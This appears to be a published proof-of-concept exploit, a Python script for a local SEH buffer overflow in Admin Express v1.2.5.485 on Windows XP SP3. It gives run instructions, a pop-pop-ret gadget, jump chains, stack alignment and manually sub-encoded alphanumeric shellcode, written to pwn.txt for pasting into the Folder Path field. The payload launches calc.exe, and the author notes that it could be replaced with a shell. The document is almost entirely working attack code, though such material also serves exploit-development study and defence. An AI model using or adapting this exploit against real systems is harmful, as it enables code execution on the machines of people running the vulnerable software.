# Title: Admin Express v1.2.5.485 Folder Path Local SEH Alphanumeric Encoded Buffer Overflow # Date: May 6th, 2019 # Author: Connor McGarr (https://connormcgarr.github.io) # Vendor Homepage: https://admin-express.en.softonic.com/ # Software Link: https://admin-express.en.softonic.com/download # Version v1.2.5.485 # Tested on: Windows XP SP3 EN # TO RUN: # 1. Run python script # 2. Copy contents of pwn.txt # 3. Open AdminExpress # 4. Select System Compare # 5. Paste contents into Folder Path on the left hand side # 6. Press the scale icon in the middle of the screen, under the Services and Running Processes tabs # This got a bit hairy. We manually encoded our shellcode, and we had to use the sub method for each encode. # 05 was a bad char for us, which was an add eax opcode. We could use (in hex) 1-4,6,10-7E and this was an odd character set. # calc.exe shellcode: # "\x31\xc9\x51\x68" # "\x63\x61\x6c\x63" # "\x54\xB8\xc7\x93" # "\xc2\x77\xff\xd0" # Can replace with a shell, if you are willing to do the encoding and decoding math :-) Too preoccupied for now, so here is a calc.exe # For zeroing out registers before manual shellcode zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101 zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010 # For restoring stack pointer before execution of shellcode, due to # old stack pointer value needed. This puts 0x0012DC98 into ECX, to be used later restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack) restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.) restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later) # Stack alignment # Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack. # AFter making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack. alignment = "\x54" # push esp alignment += "\x58" # pop eax; (puts the value of ESP into EAX) # Write these 3 sub values in normal format, since memory address, not instruction to be executed. # 364D5555 364D5555 364E5555 alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555 alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555 alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555 alignment += "\x50" # push eax alignment += "\x5c" # pop esp; (puts the value of eax back into esp) # calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers. # 1st line = 2C552D14 01562D14 01562E16 shellcode = zero shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14 shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14 shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16 shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one. # 2nd line = 24121729 24121739 2414194A shellcode += zero shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729 shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739 shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A) shellcode += "\x50" # push eax # 3rd line = 34313635 34313434 34313434 shellcode += zero shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635 shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434 shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434 shellcode += "\x50" # push eax # 4th line = 323A1245 323A1245 333A1245 shellcode += zero shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245 shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245 shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245 shellcode += "\x50" # push eax # We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall, # We need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!) # Here are the 3 values: 3F3F2711 3F3F2711 3F3F2811 # For some reason the application changed some of my math. 3F3F2811 was supposed to be # 403F3F2811 and so I changed it by 1 hex byte to get the CC (was getting CD) move = zero move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x3F3F2711 move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711 move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811 move += "\x50" # push eax # All together now. payload = "\x41" * 4260 payload += "\x70\x7e\x71\x7e" # JO 126 hex bytes. If jump fails, default to JNO 126 hex bytes payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL # There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them # so we have enough room for our shellcode and to decode. payload += "\x41" * 122 # add padding since we jumped 7e (126 bytes) above payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode payload += "\x41" * 124 payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode payload += "\x41" * 124 payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes payload += "\x41" * 121 # NOP is in the restricted chars. Using \x41 as a slide into alignment payload += restore payload += alignment payload += shellcode payload += move payload += "\x43" * (5000-len(payload)) print payload f = open('pwn.txt', 'w') f.write(payload) f.close()